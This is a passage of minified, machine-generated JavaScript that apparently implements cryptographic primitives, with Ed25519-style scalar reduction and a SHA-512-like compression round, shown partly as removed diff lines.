ut3 >>> 0 ? n9 + 1 | 0 : n9) | 0, kt3 = (n9 = (2097151 & Ut3) << 11 | Mt3 >>> 21) + ((ut3 = ut3 + Ft3 | 0) - (t7 = -2097152 & wt3) | 0) | 0, t7 = ((r11 = ut3 >>> 0 < Ft3 >>> 0 ? r11 + 1 | 0 : r11) - ((t7 >>> 0 > ut3 >>> 0) + Kt3 | 0) | 0) + (Ut3 >> 21) | 0, vt3 = t7 = n9 >>> 0 > kt3 >>> 0 ? t7 + 1 | 0 : t7, Yt3 = t7 = t7 - ((kt3 >>> 0 < 4293918720) - 1 | 0) | 0, r11 = o5, o5 = (2097151 & t7) << 11 | (pt3 = kt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + ft3 | 0, Pt3 = t7 = (n9 = r11 + o5 | 0) >>> 0 < o5 >>> 0 ? t7 + 1 | 0 : t7, Ft3 = n9, t7 = Bt2(n9, t7, -683901, -1), r11 = y4 + A8 | 0, r11 = t7 >>> 0 > (n9 = t7 + lt3 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = (t7 = n9) + (n9 = Bt2(Nt3, Ot3, -997805, -1)) | 0, t7 = y4 + r11 | 0, t7 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(Rt3, xt3, 136657, 0), n9 = y4 + t7 | 0, Mt3 = A8 = r11 + A8 | 0, dt3 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, lt3 = jt3 - (t7 = -2097152 & Dt3) | 0, mt3 = yt3 - ((t7 >>> 0 > jt3 >>> 0) + st3 | 0) | 0, r11 = Bt2(M5, 0, R5, 0), t7 = y4, n9 = r11, r11 = Bt2(x5, 0, U5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = n9 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(F5, 0, L5, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + n9 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = Bt2(T3, 0, O5, 0)) + n9 | 0, n9 = y4 + t7 | 0, r11 = r11 >>> 0 > A8 >>> 0 ? n9 + 1 | 0 : n9, wt3 = n9 = (t7 = (c4[h5 + 7 | 0] | c4[h5 + 8 | 0] << 8 | c4[h5 + 9 | 0] << 16 | c4[h5 + 10 | 0] << 24) >>> 7 & 2097151) + A8 | 0, ut3 = t7 >>> 0 > n9 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(M5, 0, U5, 0), r11 = y4, n9 = t7, t7 = Bt2(x5, 0, O5, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = n9 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, A8 = (t7 = n9) + (n9 = Bt2(T3, 0, L5, 0)) | 0, t7 = y4 + r11 | 0, ft3 = A8, A8 = n9 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, t7 = (r11 = c4[h5 + 6 | 0]) >>> 24 | 0, o5 = r11 << 8 | (Kt3 = c4[h5 + 2 | 0] | c4[h5 + 3 | 0] << 8 | c4[h5 + 4 | 0] << 16 | c4[h5 + 5 | 0] << 24) >>> 24, n9 = t7, r11 = (t7 = c4[h5 + 7 | 0]) >>> 16 | 0, r11 |= n9, n9 = A8, o5 = n9 = (t7 = 2097151 & ((3 & r11) << 30 | (t7 = t7 << 16 | o5) >>> 2)) >>> 0 > (ft3 = t7 + ft3 | 0) >>> 0 ? n9 + 1 | 0 : n9, Jt3 = t7 = n9 - ((ft3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (Qt3 = ft3 - -1048576 | 0) >>> 21, t7 = (t7 >>> 21 | 0) + ut3 | 0, It3 = t7 = n9 >>> 0 > (yt3 = n9 + wt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, zt3 = t7 = t7 - ((yt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (r11 = t7 >>> 21 | 0) + mt3 | 0, n9 = (t7 = (2097151 & t7) << 11 | (Ct3 = yt3 - -1048576 | 0) >>> 21) >>> 0 > (A8 = t7 + lt3 | 0) >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(Ht3, Zt3, 666643, 0), t7 = y4 + n9 | 0, t7 = r11 >>> 0 > (A8 = r11 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2($t3, nt3, 470296, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + A8 | 0) >>> 0 ? t7 + 1 | 0 : t7, A8 = (r11 = n9) + (n9 = Bt2(Ft3, Pt3, 136657, 0)) | 0, r11 = y4 + t7 | 0, r11 = n9 >>> 0 > A8 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(Nt3, Ot3, 654183, 0), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + A8 | 0) >>> 0 ? r11 + 1 | 0 : r11, lt3 = (t7 = Bt2(Rt3, xt3, -997805, -1)) + n9 | 0, n9 = y4 + r11 | 0, mt3 = n9 = t7 >>> 0 > lt3 >>> 0 ? n9 + 1 | 0 : n9, Ut3 = t7 = n9 - ((lt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & t7) << 11 | (wt3 = lt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + dt3 | 0, Mt3 = n9 = (t7 = n9 >>> 0 > (A8 = n9 + Mt3 | 0) >>> 0 ? t7 + 1 | 0 : t7) - ((A8 >>> 0 < 4293918720) - 1 | 0) | 0, ut3 = (2097151 & n9) << 11 | (dt3 = A8 - -1048576 | 0) >>> 21, n9 = (n9 >> 21) + qt3 | 0, Tt3 = Dt3 = ut3 + Lt3 | 0, Dt3 = ut3 >>> 0 > Dt3 >>> 0 ? n9 + 1 | 0 : n9, ut3 = A8, r11 = t7, A8 = (kt3 - (t7 = -2097152 & pt3) | 0) + (pt3 = (2097151 & _t3) << 11 | Et3 >>> 21) | 0, t7 = (vt3 - ((t7 >>> 0 > kt3 >>> 0) + Yt3 | 0) | 0) + (_t3 >> 21) | 0, Et3 = t7 = A8 >>> 0 < pt3 >>> 0 ? t7 + 1 | 0 : t7, Lt3 = t7 = t7 - ((A8 >>> 0 < 4293918720) - 1 | 0) | 0, kt3 = n9 = t7 >> 21, t7 = Bt2(Ht3 = (2097151 & t7) << 11 | (_t3 = A8 - -1048576 | 0) >>> 21, n9, -683901, -1), r11 = y4 + r11 | 0, r11 = t7 >>> 0 > (n9 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, qt3 = n9 - (t7 = -2097152 & dt3) | 0, jt3 = r11 - ((t7 >>> 0 > n9 >>> 0) + Mt3 | 0) | 0, r11 = Bt2(Ht3, kt3, 136657, 0), t7 = y4 + mt3 | 0, t7 = r11 >>> 0 > (n9 = r11 + lt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Vt3 = n9 - (r11 = -2097152 & wt3) | 0, Ut3 = t7 - ((r11 >>> 0 > n9 >>> 0) + Ut3 | 0) | 0, r11 = Bt2($t3, nt3, 666643, 0), t7 = y4 + (It3 - (((n9 = -2097152 & Ct3) >>> 0 > yt3 >>> 0) + zt3 | 0) | 0) | 0, t7 = r11 >>> 0 > (ut3 = r11 + (yt3 - n9 | 0) | 0) >>> 0 ? t7 + 1 | 0 : t7, n9 = Bt2(Ft3, Pt3, -997805, -1), r11 = y4 + t7 | 0, r11 = n9 >>> 0 > (ut3 = n9 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(Nt3, Ot3, 470296, 0), n9 = y4 + r11 | 0, n9 = t7 >>> 0 > (ut3 = t7 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(Rt3, xt3, 654183, 0), t7 = y4 + n9 | 0, Mt3 = ut3 = r11 + ut3 | 0, mt3 = r11 >>> 0 > ut3 >>> 0 ? t7 + 1 | 0 : t7, n9 = Kt3 >>> 5 & 2097151, t7 = Bt2(M5, 0, O5, 0), r11 = y4, dt3 = t7, t7 = Bt2(x5, 0, L5, 0), r11 = y4 + r11 | 0, t7 = t7 >>> 0 > (ut3 = dt3 + t7 | 0) >>> 0 ? r11 + 1 | 0 : r11, dt3 = r11 = n9 + ut3 | 0, n9 = t7 = r11 >>> 0 < ut3 >>> 0 ? t7 + 1 | 0 : t7, yt3 = (r11 = Bt2(M5, 0, L5, 0)) + (t7 = (t7 = c4[h5 + 2 | 0]) << 16 & 2031616 | c4[0 | h5] | c4[h5 + 1 | 0] << 8) | 0, r11 = y4, pt3 = r11 = t7 >>> 0 > yt3 >>> 0 ? r11 + 1 | 0 : r11, Yt3 = r11 = r11 - ((yt3 >>> 0 < 4293918720) - 1 | 0) | 0, t7 = (t7 = r11 >>> 21 | 0) + n9 | 0, Ct3 = t7 = (r11 = (2097151 & r11) << 11 | (It3 = yt3 - -1048576 | 0) >>> 21) >>> 0 > (vt3 = r11 + dt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Kt3 = r11 = t7 - ((vt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (2097151 & r11) << 11 | (lt3 = vt3 - -1048576 | 0) >>> 21, r11 = (r11 >>> 21 | 0) + o5 | 0, r11 = n9 >>> 0 > (ut3 = n9 + ft3 | 0) >>> 0 ? r11 + 1 | 0 : r11, n9 = Bt2(Ft3, Pt3, 654183, 0), t7 = y4 + (r11 - (((o5 = -2097152 & Qt3) >>> 0 > ut3 >>> 0) + Jt3 | 0) | 0) | 0, t7 = n9 >>> 0 > (ft3 = n9 + (ut3 - o5 | 0) | 0) >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(Nt3, Ot3, 666643, 0), t7 = y4 + t7 | 0, t7 = r11 >>> 0 > (n9 = r11 + ft3 | 0) >>> 0 ? t7 + 1 | 0 : t7, wt3 = (r11 = n9) + (n9 = Bt2(Rt3, xt3, 470296, 0)) | 0, r11 = y4 + t7 | 0, dt3 = r11 = n9 >>> 0 > wt3 >>> 0 ? r11 + 1 | 0 : r11, zt3 = r11 = r11 - ((wt3 >>> 0 < 4293918720) - 1 | 0) | 0, n9 = (t7 = r11 >> 21) + mt3 | 0, Qt3 = r11 = (n9 = (r11 = (2097151 & r11) << 11 | (ut3 = wt3 - -1048576 | 0) >>> 21) >>> 0 > (ft3 = r11 + Mt3 | 0) >>> 0 ? n9 + 1 | 0 : n9) - ((ft3 >>> 0 < 4293918720) - 1 | 0) | 0, mt3 = (2097151 & r11) << 11 | (o5 = ft3 - -1048576 | 0) >>> 21, r11 = (r11 >> 21) + Ut3 | 0, Ot3 = Nt3 = mt3 + Vt3 | 0, mt3 = mt3 >>> 0 > Nt3 >>> 0 ? r11 + 1 | 0 : r11, t7 = Bt2(Ht3, kt3, -997805, -1), r11 = y4 + n9 | 0, r11 = t7 >>> 0 > (ft3 = t7 + ft3 | 0) >>> 0 ? r11 + 1 | 0 : r11, Ut3 = ft3 - (t7 = -2097152 & o5) | 0, Mt3 = r11 - ((t7 >>> 0 > ft3 >>> 0) + Qt3 | 0) | 0, r11 = Bt2(Ht3, kt3, 654183, 0), t7 = y4 + dt3 | 0, t7 = r11 >>> 0 > (n9 = r11 + wt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, Nt3 = n9 - (r11 = -2097152 & ut3) | 0, Qt3 = t7 - ((r11 >>> 0 > n9 >>> 0) + zt3 | 0) | 0, t7 = Bt2(Ft3, Pt3, 470296, 0), n9 = y4 + (Ct3 - (((r11 = -2097152 & lt3) >>> 0 > vt3 >>> 0) + Kt3 | 0) | 0) | 0, n9 = t7 >>> 0 > (o5 = t7 + (vt3 - r11 | 0) | 0) >>> 0 ? n9 + 1 | 0 : n9, r11 = Bt2(Rt3, xt3, 666643, 0), t7 = y4 + n9 | 0, ft3 = o5 = r11 + o5 | 0, n9 = r11 >>> 0 > o5 >>> 0 ? t7 + 1 | 0 : t7, r11 = Bt2(Ft3, Pt3, 666643, 0), t7 = y4 + (pt3 - ((4095 & Yt3) + ((o5 = -2097152 & It3) >>> 0 > yt3 >>> 0) | 0) | 0) | 0, wt3 = t7 = r11 >>> 0 > (lt3 = r11 + (yt3 - o5 | 0) | 0) >>> 0 ? t7 + 1 | 0 : t7, pt3 = t7 = t7 - ((lt3 >>> 0 < 4293918720) - 1 | 0) | 0, o5 = (2097151 & t7) << 11 | (dt3 = lt3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + n9 | 0, n9 = t7 = o5 >>> 0 > (ut3 = o5 + ft3 | 0) >>> 0 ? t7 + 1 | 0 : t7, It3 = t7 = t7 - ((ut3 >>> 0 < 4293918720) - 1 | 0) | 0, o5 = (2097151 & t7) << 11 | (ft3 = ut3 - -1048576 | 0) >>> 21, t7 = (t7 >> 21) + Qt3 | 0, o5 = o5 >>> 0 > (Ct3 = o5 + Nt3 | 0) >>> 0 ? t7 + 1 | 0 : t7, t7 = Bt2(Ht3, kt3, 470296, 0), n9 = y4 + n9 | 0, n9 = t7 >>> 0 > (r11 = t7 + ut3 | 0) >>> 0 ? n9 + 1 | 0 : n9, ut3 = r11 - (t7 = -2097152 & ft3) | 0, ft3 = n9 - ((t7 >>> 0 > r11 >>> 0) + It3 | 0) | 0, r11 = Bt2(Ht3, kt3, 666643, 0), t7 = y4 + (wt3 - (((n9 = -2097152 & dt3) >>> 0 > lt3 >>> 0) + pt3 | 0) | 0) | 0, r11 = (n9 = (t7 = r11 >>> 0 > (vt3 = r11 + (lt3 - n9 | 0) | 0) >>> 0 ? t7 + 1 | 0 : t7) >> 21) + ft3 | 0, t7 = (t7 = (r11 = (t7 = (2097151 & t7) << 11 | vt3 >>> 21) >>> 0 > (Qt3 = t7 + ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11) >> 21) + o5 | 0, r11 = (r11 = (t7 = (r11 = (2097151 & r11) << 11 | Qt3 >>> 21) >>> 0 > (pt3 = r11 + Ct3 | 0) >>> 0 ? t7 + 1 | 0 : t7) >> 21) + Mt3 | 0, n9 = (t7 = (r11 = (t7 = (2097151 & t7) << 11 | pt3 >>> 21) >>> 0 > (o5 = t7 + Ut3 | 0) >>> 0 ? r11 + 1 | 0 : r11) >> 21) + mt3 | 0, t7 = (r11 = (n9 = (r11 = (2097151 & r11) << 11 | o5 >>> 21) >>> 0 > (It3 = r11 + Ot3 | 0) >>> 0 ? n9 + 1 | 0 : n9) >> 21) + jt3 | 0, r11 = (n9 = (t7 = (n9 = (2097151 & n9) << 11 | It3 >>> 21) >>> 0 > (Ct3 = n9 + qt3 | 0) >>> 0 ? t7 + 1 | 0 : t7) >> 21) + Dt3 | 0, t7 = (t7 = (r11 = (t7 = (2097151 & t7) << 11 | Ct3 >>> 21) >>> 0 > (lt3 = t7 + Tt3 | 0) >>> 0 ? r11 + 1 | 0 : r11) >> 21) + Wt3 | 0, r11 = (r11 = (t7 = (r11 = (2097151 & r11) << 11 | lt3 >>> 21) >>> 0 > (mt3 = r11 + Gt3 | 0) >>> 0 ? t7 + 1 | 0 : t7) >> 21) + St3 | 0, n9 = (t7 = (r11 = (t7 = (2097151 & t7) << 11 | mt3 >>> 21) >>> 0 > (wt3 = t7 + Xt3 | 0) >>> 0 ? r11 + 1 | 0 : r11) >> 21) + te3 | 0, t7 = (r11 = (n9 = (r11 = (2097151 & r11) << 11 | wt3 >>> 21) >>> 0 > (dt3 = r11 + ie3 | 0) >>> 0 ? n9 + 1 | 0 : n9) >> 21) + Ae3 | 0, ft3 = (_t3 = A8 - (r11 = -2097152 & _t3) | 0) + ((2097151 & (t7 = (n9 = (2097151 & n9) << 11 | dt3 >>> 21) >>> 0 > (ut3 = n9 + ne3 | 0) >>> 0 ? t7 + 1 | 0 : t7)) << 11 | ut3 >>> 21) | 0, t7 = (Et3 - ((r11 >>> 0 > A8 >>> 0) + Lt3 | 0) | 0) + (t7 >> 21) | 0, _t3 = r11 = (t7 = ft3 >>> 0 < _t3 >>> 0 ? t7 + 1 | 0 : t7) >> 21, vt3 = (t7 = Bt2(Dt3 = (2097151 & t7) << 11 | ft3 >>> 21, r11, 666643, 0)) + (r11 = 2097151 & vt3) | 0, t7 = y4, A8 = t7 = r11 >>> 0 > vt3 >>> 0 ? t7 + 1 | 0 : t7, s4[0 | i4] = vt3, s4[i4 + 1 | 0] = (255 & t7) << 24 | vt3 >>> 8, t7 = 2097151 & Qt3, r11 = Bt2(Dt3, _t3, 470296, 0) + t7 | 0, n9 = y4, t7 = (A8 >> 21) + (t7 >>> 0 > r11 >>> 0 ? n9 + 1 | 0 : n9) | 0, t7 = (Et3 = (2097151 & A8) << 11 | vt3 >>> 21) >>> 0 > (Qt3 = Et3 + r11 | 0) >>> 0 ? t7 + 1 | 0 : t7, s4[i4 + 4 | 0] = (2047 & t7) << 21 | Qt3 >>> 11, r11 = t7, n9 = Qt3, s4[i4 + 3 | 0] = (7 & t7) << 29 | n9 >>> 3, s4[i4 + 2 | 0] = 31 & ((65535 & A8) << 16 | vt3 >>> 16) | n9 << 5, A8 = 2097151 & pt3, pt3 = Bt2(Dt3, _t3, 654183, 0) + A8 | 0, t7 = y4, Qt3 = (2097151 & r11) << 11 | n9 >>> 21, r11 = (r11 >> 21) + (A8 = A8 >>> 0 > pt3 >>> 0 ? t7 + 1 | 0 : t7) | 0, t7 = r11 = (pt3 = Qt3 + pt3 | 0) >>> 0 < Qt3 >>> 0 ? r11 + 1 | 0 : r11, s4[i4 + 6 | 0] = (63 & t7) << 26 | pt3 >>> 6, A8 = pt3, pt3 = 0, s4[i4 + 5 | 0] = pt3 << 13 | (1572864 & n9) >>> 19 | A8 << 2, n9 = 2097151 & o5, o5 = Bt2(Dt3, _t3, -997805, -1) + n9 | 0, r11 = y4, r11 = n9 >>> 0 > o5 >>> 0 ? r11 + 1 | 0 : r11, pt3 = (2097151 & (n9 = t7)) << 11 | A8 >>> 21, n9 = (t7 >>= 21) + r11 | 0, n9 = (o5 = pt3 + o5 | 0) >>> 0 < pt3 >>> 0 ? n9 + 1 | 0 : n9, s4[i4 + 9 | 0] = (511 & n9) << 23 | o5 >>> 9, s4[i4 + 8 | 0] = (1 & n9) << 31 | o5 >>> 1, r11 = 0, s4[i4 + 7 | 0] = r11 << 18 | (2080768 & A8) >>> 14 | o5 << 7, r11 = 2097151 & It3, A8 = Bt2(Dt3, _t3, 136657, 0) + r11 | 0, t7 = y4, t7 = r11 >>> 0 > A8 >>> 0 ? t7 + 1 | 0 : t7, It3 = (2097151 & (r11 = n9)) << 11 | o5 >>> 21, r11 = t7 + (n9 = r11 >> 21) | 0, r11 = (A8 = It3 + A8 | 0) >>> 0 < It3 >>> 0 ? r11 + 1 | 0 : r11, s4[i4 + 12 | 0] = (4095 & r11) << 20 | A8 >>> 12, n9 = A8, s4[i4 + 11 | 0] = (15 & r11) << 28 | n9 >>> 4, A8 = 0, s4[i4 + 10 | 0] = A8 << 15 | (1966080 & o5) >>> 17 | n9 << 4, A8 = 2097151 & Ct3, o5 = Bt2(Dt3, _t3, -683901, -1) + A8 | 0, t7 = y4, t7 = A8 >>> 0 > o5 >>> 0 ? t7 + 1 | 0 : t7, A8 = r11, r11 = t7 + (r11 >>= 21) | 0, r11 = (A8 = (Ct3 = o5) + (o5 = (2097151 & A8) << 11 | n9 >>> 21) | 0) >>> 0 < o5 >>> 0 ? r11 + 1 | 0 : r11, s4[i4 + 14 | 0] = (127 & r11) << 25 | A8 >>> 7, o5 = 0, s4[i4 + 13 | 0] = o5 << 12 | (1048576 & n9) >>> 20 | A8 << 1, t7 = r11 >> 21, n9 = (r11 = (2097151 & r11) << 11 | A8 >>> 21) >>> 0 > (o5 = r11 + (2097151 & lt3) | 0) >>> 0 ? t7 + 1 | 0 : t7, s4[i4 + 17 | 0] = (1023 & n9) << 22 | o5 >>> 10, s4[i4 + 16 | 0] = (3 & n9) << 30 | o5 >>> 2, r11 = 0, s4[i4 + 15 | 0] = r11 << 17 | (2064384 & A8) >>> 15 | o5 << 6, t7 = n9 >> 21, t7 = (r11 = (2097151 & n9) << 11 | o5 >>> 21) >>> 0 > (n9 = r11 + (2097151 & mt3) | 0) >>> 0 ? t7 + 1 | 0 : t7, s4[i4 + 20 | 0] = (8191 & t7) << 19 | n9 >>> 13, s4[i4 + 19 | 0] = (31 & t7) << 27 | n9 >>> 5, A8 = (r11 = 2097151 & wt3) + (wt3 = (2097151 & t7) << 11 | n9 >>> 21) | 0, r11 = t7 >> 21, r11 = A8 >>> 0 < wt3 >>> 0 ? r11 + 1 | 0 : r11, wt3 = A8, s4[i4 + 21 | 0] = A8, mt3 = 0, s4[i4 + 18 | 0] = mt3 << 14 | (1835008 & o5) >>> 18 | n9 << 3, s4[i4 + 22 | 0] = (255 & r11) << 24 | A8 >>> 8, n9 = r11 >> 21, n9 = (A8 = (o5 = (2097151 & r11) << 11 | A8 >>> 21) + (2097151 & dt3) | 0) >>> 0 < o5 >>> 0 ? n9 + 1 | 0 : n9, s4[i4 + 25 | 0] = (2047 & n9) << 21 | A8 >>> 11, s4[i4 + 24 | 0] = (7 & n9) << 29 | A8 >>> 3, s4[i4 + 23 | 0] = 31 & ((65535 & r11) << 16 | wt3 >>> 16) | A8 << 5, t7 = n9 >> 21, t7 = (r11 = (2097151 & n9) << 11 | A8 >>> 21) >>> 0 > (n9 = r11 + (2097151 & ut3) | 0) >>> 0 ? t7 + 1 | 0 : t7, s4[i4 + 27 | 0] = (63 & t7) << 26 | n9 >>> 6, o5 = 0, s4[i4 + 26 | 0] = o5 << 13 | (1572864 & A8) >>> 19 | n9 << 2, r11 = t7 >> 21, r11 = (t7 = (A8 = (2097151 & t7) << 11 | n9 >>> 21) + (2097151 & ft3) | 0) >>> 0 < A8 >>> 0 ? r11 + 1 | 0 : r11, s4[i4 + 31 | 0] = (131071 & r11) << 15 | t7 >>> 17, s4[i4 + 30 | 0] = (511 & r11) << 23 | t7 >>> 9, s4[i4 + 29 | 0] = (1 & r11) << 31 | t7 >>> 1, A8 = 0, s4[i4 + 28 | 0] = A8 << 18 | (2080768 & n9) >>> 14 | t7 << 7, oe2(g5, 64), oe2(h5, 64), e6 && (a4[e6 >> 2] = 64, a4[e6 + 4 >> 2] = 0), I4 = u5 + 560 | 0, 0; - } - function B4(t7, e6, r11, n9) { - for (var A8 = 0, i4 = 0, o5 = 0, s5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0, x5 = 0, F5 = 0, P5 = 0, T3 = 0, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0; o5 = (A8 = h5 << 3) + r11 | 0, i4 = c4[0 | (A8 = e6 + A8 | 0)] | c4[A8 + 1 | 0] << 8 | c4[A8 + 2 | 0] << 16 | c4[A8 + 3 | 0] << 24, b5 = c4[A8 + 4 | 0] | c4[A8 + 5 | 0] << 8 | c4[A8 + 6 | 0] << 16 | c4[A8 + 7 | 0] << 24, g5 = i4 << 24 | (65280 & i4) << 8, u5 = (s5 = 16711680 & i4) << 24, s5 = s5 >>> 8 | 0, A8 = (f5 = -16777216 & i4) >>> 24 | 0, a4[o5 >> 2] = u5 | f5 << 8 | -16777216 & ((255 & b5) << 24 | i4 >>> 8) | 16711680 & ((16777215 & b5) << 8 | i4 >>> 24) | b5 >>> 8 & 65280 | b5 >>> 24, i4 = A8 | s5 | g5, A8 = 0, a4[o5 + 4 >> 2] = i4 | A8 | A8, 16 != (0 | (h5 = h5 + 1 | 0)); ) - ; - for (e6 = a4[t7 + 4 >> 2], a4[n9 >> 2] = a4[t7 >> 2], a4[n9 + 4 >> 2] = e6, e6 = a4[t7 + 60 >> 2], a4[n9 + 56 >> 2] = a4[t7 + 56 >> 2], a4[n9 + 60 >> 2] = e6, e6 = a4[t7 + 52 >> 2], a4[n9 + 48 >> 2] = a4[t7 + 48 >> 2], a4[n9 + 52 >> 2] = e6, e6 = a4[t7 + 44 >> 2], a4[n9 + 40 >> 2] = a4[t7 + 40 >> 2], a4[n9 + 44 >> 2] = e6, e6 = a4[t7 + 36 >> 2], a4[n9 + 32 >> 2] = a4[t7 + 32 >> 2], a4[n9 + 36 >> 2] = e6, e6 = a4[t7 + 28 >> 2], a4[n9 + 24 >> 2] = a4[t7 + 24 >> 2], a4[n9 + 28 >> 2] = e6, e6 = a4[t7 + 20 >> 2], a4[n9 + 16 >> 2] = a4[t7 + 16 >> 2], a4[n9 + 20 >> 2] = e6, e6 = a4[t7 + 12 >> 2], a4[n9 + 8 >> 2] = a4[t7 + 8 >> 2], a4[n9 + 12 >> 2] = e6; o5 = a4[n9 + 56 >> 2], s5 = a4[n9 + 60 >> 2], A8 = a4[(e6 = b5 = (k5 = Y5 << 3) + r11 | 0) >> 2], e6 = a4[e6 + 4 >> 2], w5 = i4 = a4[n9 + 36 >> 2], i4 = ft2(m5 = a4[n9 + 32 >> 2], i4, 50), h5 = y4, i4 = ft2(m5, w5, 46) ^ i4, h5 ^= y4, i4 = ft2(m5, w5, 23) ^ i4, e6 = (y4 ^ h5) + e6 | 0, e6 = (A8 = i4 + A8 | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = (h5 = a4[(i4 = k5 + 34368 | 0) >> 2]) + A8 | 0, e6 = a4[i4 + 4 >> 2] + e6 | 0, e6 = A8 >>> 0 < h5 >>> 0 ? e6 + 1 | 0 : e6, i4 = (h5 = ((u5 = a4[n9 + 48 >> 2]) ^ (p5 = a4[n9 + 40 >> 2])) & m5 ^ u5) + A8 | 0, A8 = (((B5 = a4[n9 + 52 >> 2]) ^ (v5 = a4[n9 + 44 >> 2])) & w5 ^ B5) + e6 | 0, e6 = (i4 >>> 0 < h5 >>> 0 ? A8 + 1 | 0 : A8) + s5 | 0, e6 = (o5 = i4 + o5 | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, h5 = (i4 = a4[n9 + 24 >> 2]) + o5 | 0, A8 = a4[n9 + 28 >> 2] + e6 | 0, d5 = A8 = i4 >>> 0 > h5 >>> 0 ? A8 + 1 | 0 : A8, a4[n9 + 24 >> 2] = h5, a4[n9 + 28 >> 2] = A8, E5 = A8 = a4[n9 + 4 >> 2], A8 = ft2(i4 = a4[n9 >> 2], A8, 36), s5 = y4, A8 = ft2(i4, E5, 30) ^ A8, s5 ^= y4, f5 = o5 + (ft2(i4, E5, 25) ^ A8) | 0, A8 = e6 + (y4 ^ s5) | 0, A8 = o5 >>> 0 > f5 >>> 0 ? A8 + 1 | 0 : A8, g5 = (e6 = f5) + (f5 = i4 & ((s5 = a4[n9 + 16 >> 2]) | (o5 = a4[n9 + 8 >> 2])) | o5 & s5) | 0, e6 = (e6 = A8) + (E5 & ((A8 = a4[n9 + 20 >> 2]) | (I5 = a4[n9 + 12 >> 2])) | A8 & I5) | 0, f5 = e6 = g5 >>> 0 < f5 >>> 0 ? e6 + 1 | 0 : e6, a4[n9 + 56 >> 2] = g5, a4[n9 + 60 >> 2] = e6, l5 = s5, C5 = A8, Q5 = a4[(e6 = R5 = (_5 = 8 | k5) + r11 | 0) >> 2], S5 = a4[e6 + 4 >> 2], A8 = ((w5 ^ v5) & d5 ^ v5) + B5 | 0, A8 = (e6 = (s5 = (p5 ^ m5) & h5 ^ p5) + u5 | 0) >>> 0 < s5 >>> 0 ? A8 + 1 | 0 : A8, s5 = ft2(h5, d5, 50), u5 = y4, s5 = ft2(h5, d5, 46) ^ s5, u5 ^= y4, s5 = (B5 = ft2(h5, d5, 23) ^ s5) + e6 | 0, e6 = (y4 ^ u5) + A8 | 0, e6 = (s5 >>> 0 < B5 >>> 0 ? e6 + 1 | 0 : e6) + S5 | 0, e6 = (A8 = s5 + Q5 | 0) >>> 0 < s5 >>> 0 ? e6 + 1 | 0 : e6, s5 = (s5 = A8) + (u5 = a4[(A8 = _5 + 34368 | 0) >> 2]) | 0, A8 = a4[A8 + 4 >> 2] + e6 | 0, A8 = (e6 = s5 >>> 0 < u5 >>> 0 ? A8 + 1 | 0 : A8) + C5 | 0, B5 = A8 = (u5 = s5 + l5 | 0) >>> 0 < s5 >>> 0 ? A8 + 1 | 0 : A8, a4[n9 + 16 >> 2] = u5, a4[n9 + 20 >> 2] = A8, e6 = e6 + ((I5 | E5) & f5 | I5 & E5) | 0, e6 = (A8 = s5 + ((i4 | o5) & g5 | i4 & o5) | 0) >>> 0 < s5 >>> 0 ? e6 + 1 | 0 : e6, s5 = ft2(g5, f5, 36), l5 = y4, s5 = ft2(g5, f5, 30) ^ s5, l5 ^= y4, C5 = A8, A8 = ft2(g5, f5, 25) ^ s5, e6 = (y4 ^ l5) + e6 | 0, l5 = e6 = A8 >>> 0 > (s5 = C5 + A8 | 0) >>> 0 ? e6 + 1 | 0 : e6, a4[n9 + 48 >> 2] = s5, a4[n9 + 52 >> 2] = e6, C5 = o5, _5 = I5, e6 = (I5 = a4[(A8 = x5 = (o5 = 16 | k5) + r11 | 0) >> 2]) + p5 | 0, A8 = a4[A8 + 4 >> 2] + v5 | 0, A8 = e6 >>> 0 < I5 >>> 0 ? A8 + 1 | 0 : A8, o5 = (p5 = e6) + (I5 = a4[(e6 = o5 + 34368 | 0) >> 2]) | 0, e6 = a4[e6 + 4 >> 2] + A8 | 0, e6 = ((d5 ^ w5) & B5 ^ w5) + (e6 = o5 >>> 0 < I5 >>> 0 ? e6 + 1 | 0 : e6) | 0, e6 = (A8 = (A8 = o5) + (o5 = (h5 ^ m5) & u5 ^ m5) | 0) >>> 0 < o5 